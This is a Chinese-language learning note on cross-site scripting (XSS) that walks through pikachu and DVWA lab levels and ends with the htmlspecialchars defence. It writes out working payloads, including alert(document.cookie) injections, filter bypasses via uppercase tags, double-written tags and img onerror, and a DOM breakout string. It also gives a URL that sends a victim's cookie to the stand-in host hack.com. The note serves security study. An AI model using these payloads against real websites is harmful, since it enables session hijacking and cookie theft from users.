关于XSS(跨站脚本)学习笔记(1)
1.简介
跨站脚本:Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。是一种经常出现在Web应用程序的安全漏洞攻击,也是代码注入的一种。此代码由受害者执行,攻击者可以绕过访问控制并冒充用户。
XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者用户可能采取Cookie窃取、会话劫持、钓鱼欺骗等各种攻击。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发留下来的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
2.分类
一般xss可以分成:1.反射型xss;2.存储型xss;3.DOM型xss。
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是使用DOM动态访问更新文档内容,结构及样式。服务器不会处理攻击者脚本,而是用户浏览器处理这个响应,DOM对象就会处理XSS代码,触发XSS漏洞。
补充:什么是DOM:
文档对象模型(DOM)是一个网络文档的编程接口。它代表页面,以便程序可以改变文档的结构、风格和内容。DOM 将文档表示为节点和对象;这样,编程语言就可以与页面交互。
网页是一个既可以在浏览器窗口中显示,也可以作为 HTML 源代码的文档。在这两种情况下,它都是同一个文档,但文档对象模型(DOM)的表示方式使它可以被操作。作为一个面向对象的网页表示,它可以用脚本语言(如 JavaScript)进行修改。
DOM结构图:
补充:浏览器页面原理:渲染页面:浏览器的工作原理 - Web 性能 | MDN (mozilla.org)
3.XSS是如何发生的
下面是一个textbox:
<input type="text" name="add1" value="valuefrom1">
valuefrom1是来自用户的输入,如果用户不是输入valuefrom1,而是输入:/><script>alert(document.cookie)</script><!-
那么就会变成:
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
或者用户输入的是:"onfocus="alert(document.cookie)
那么会变成:
<input type=text" name="add1" value="" onfocus""alert(document.cookie)">"
事件触发的JavaScript代码会被执行。如果你还是一头雾水,那么可以翻看JavaScript相关的教程。
那么我们如何进行防范呢,XSS之所以能够发生,是因为用户的输入变成了代码,所以我们可以通过对用户输入的数据进行HTML Encode处理,将中括号,单引号,引号之类的特殊字符进行编码。
接下来我们模拟一个攻击场景:
Franz 发现了Victim.com中的一个页面有XSS漏洞,例如: http://victim.com/search.asp?term=apple
服务器中Search.asp 页面的代码大概如下:
<html>
<title></title>
<body>
Results for <%Reequest.QueryString("term")%>
...
</body>
</html>
补充:Request.QueryString[“id”] 只能读取通过地址栏参数传递过来的名为id的参数。
Request[“id”]是一个复合功能读取函数。
它的优先级顺序为
QueryString > Form > Cookies > ServerVariables
Franz先建立一个网站用来接收偷取信息,网站名为:http://hack.com
然后franz构造一个恶意url,通过某种方式发送给Jerry。
http://victim.com/search.asp?term=<script>window.open("http://hack.com?cookie="+document.cookie)</script
Jerry如果点击了这个url那么嵌入在url的恶意JavaScript代码会在浏览器中执行,将cookie值发送到http://hack.com
网站中。
4.实战之反射型XSS获取cookie:
(1)cookie定义:HTTP Cookie是服务器发送到用户浏览器并保存在本地的一小块数据。浏览器会存储cookie并在下次向同一服务器再发起请求时携带并发送到服务器上。通常,它用于告知服务器端两个请求是否来自同一浏览器–如保持用户登录状态。Cookie主要用于三个方面:【1】会话状态管理,如:用户登录状态,购物车,游戏分数或其他需要记录的信息。【2】个性化设置,如:用户自定义设置,主题和其他设置。【3】浏览器行为跟踪,如:跟踪分析用户行为。
关于Cookie的更多内容可参考:cookie详解
目前有些Cookie是临时的,有些则是持续的。临时的Cookie只在浏览器上保存一段时间,一旦超过规定的时间,该Cookie就会被系统清除。服务器利用Cookie包含信息的任意性来筛选并经常性维护这些内容,以判断HTTP传输的状态。
(2)简单示例
打开pikachu -> css 第一题:get型。我们现在输 入框随便输入,发现有字数限制,这时候有两种方法。
1.直接在网址框输入。网址框没有长度限制。
2.我们打开f12,用开发者工具,选取输入框,然后修改maxlength数值,比如我这里修改成200。
以上两种方法帮助我们解决了输入框字数限制的问题,接下来我们既可以插入我们的JavaScript的编码了。我们在输入框输入以下代码,其中document.cookie
是一个JavaScript属性,用于获取当前网页的cookie。
<script>alert(document.cookie)</script>
提交,在弹窗中成功获取cookie值:
---
我们看第二题:我先试着将123;123。填入账号密码中,但是发现网址栏都没有注入点。于是我看了旁边的提示用了账号密码,其实这里也可以用burpsuite进行爆破登录。详情可参考:Burpsuite学习笔记-CSDN博客
进入之后,随便输入后,发现请求方式为post。一样的我们提交第一题的代码:
<script>alert(document.cookie)</script>
同样能得到我们要的cookie。
我们再来看看DVWA的反射型XSS练习:
(1)low level:我们直接进行源码审计:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
我们可以发现,代码并没有对’name’参数进行过滤和检查,存在xss漏洞,仅仅只是判断输入是否为空
攻击方式:参考前面我给出的代码即可。
(2)medium level:我们直接输入low level的JavaScript代码,发现不行了,并不能弹出我们想要的cookie值。
我们进行源码审计:发现添加了一个模式匹配来删除对“”的任何引用。str_replace是替换字符串中的一些字符。这里,它检查传入参数中是否含有“
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
攻击方式:了解了原理之后,我们可以对script进行大写处理:
<SCRIPT>alert(document.cookie)</SCRIPT>
或是使用双写绕过:
<s<script>cript>alert(document.cookie)</script>
都能够绕过判断值:
(3)high level:
源码审计:preg_replace 函数执行一个正则表达式的搜索和替换。*指一个或多个任意字符,i指的是不区分大小写,所以在这里,<script>
标签将被完全过滤。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
攻击方式:我们可以通过其他标签,例如:img, body等标签进行src注入JS攻击脚本。接下来我们通过直接注入标签将cookie显示出来,HTML中的<img>
标签定义页面图像,支持onerror事件,在装载文档或图像的过程中如果发生了错误就会触发。由于我们没有图片,所以会出错从而触发onerror。
<img src=1 onerror = alert(document.cookie)>
于是我们成功得到cookie值。
(4)impossible level
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
使用内置的 PHP 函数( “htmlspecialchars()”),可以转义任何会改变输入行为的值。函数用于把预定义的字符 “<” 和 “>” 转换为 HTML 实体,防止了我们注入 HTML 标签。同时加入 Anti-CSRF token 防护 CSRF 攻击,进一步提高安全性。在这里很难使用xss攻击了。
5.实战之DOM型XSS:
学习DOM型XSS最重要的一点就是:学好JavaScript!!!!!!
接下来,假设大家都学好JavaScript的前提下,我们了解一下什么是DOM,
对于浏览器而言,DOM文档就是一份XML文档,当有了这个技术之后,通过JavaScript就可以轻松的访问它们了。这样做的好处就是通过简单的树状结构,将元素之间的关系简单的表达出来,方便客户端的JavaScript脚本通过DOM动态的检查和修改页面内容,不依赖服务端的数据。具体的关于DOM的内容我们可以参考:DOM 概述 - Web API 接口参考 | MDN (mozilla.org)
攻击方式: 首先,客户端能够通过JavaScript访问浏览器的DOM文档对象是一个大前提,当确认了客户端代码中有DOM型XSS漏洞时,我们可以通过引诱另一名用户,访问我们构建的URL就说明,可以在受害者的客户端注入恶意脚本。构造的URL参数可以不用经过服务器,所以可以绕过WAF,躲避服务端检测效果。
下面我们来通过代码来了解基本原理:
(1)这是一个存在DOM型XSS漏洞的前端代码,我们输入后得到一个字符串,然后通过字符串拼接的方式拼接到a href中。输出点我们可以从标签构造一个闭包函数。
(2)我们需要构造一个闭包函数输入到文本框中,简而言之就是使前面的a标签进行闭合操作。
在这里我输入了:
'><img src=1 onerror=alert(123)><'
---
看到这里仅仅只是入门,谢谢阅读!!